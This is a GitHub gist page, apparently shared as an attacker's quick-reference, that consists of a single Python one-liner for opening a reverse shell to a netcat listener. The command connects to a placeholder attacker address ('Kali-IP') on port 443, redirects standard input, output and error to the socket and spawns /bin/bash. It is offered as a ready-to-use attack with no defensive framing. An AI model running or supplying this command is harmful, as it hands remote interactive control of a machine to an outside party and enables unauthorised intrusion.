Python one-liner to create a reverse shell to listening netcat server. (original) (raw)
Star (10) You must be signed in to star a gist
Fork (5) You must be signed in to fork a gist
Select an option
Clone this repository at <script src="https://gist.github.com/lucasgates/0c6330c582d0ccf52fad129d5e7e9de7.js"></script>
- Save lucasgates/0c6330c582d0ccf52fad129d5e7e9de7 to your computer and use it in GitHub Desktop.
Select an option
Clone this repository at <script src="https://gist.github.com/lucasgates/0c6330c582d0ccf52fad129d5e7e9de7.js"></script>
Save lucasgates/0c6330c582d0ccf52fad129d5e7e9de7 to your computer and use it in GitHub Desktop.
Python one-liner to create a reverse shell to listening netcat server.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.Learn more about bidirectional Unicode characters
[ Show hidden characters]({{ revealButtonHref }})
| python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
|---|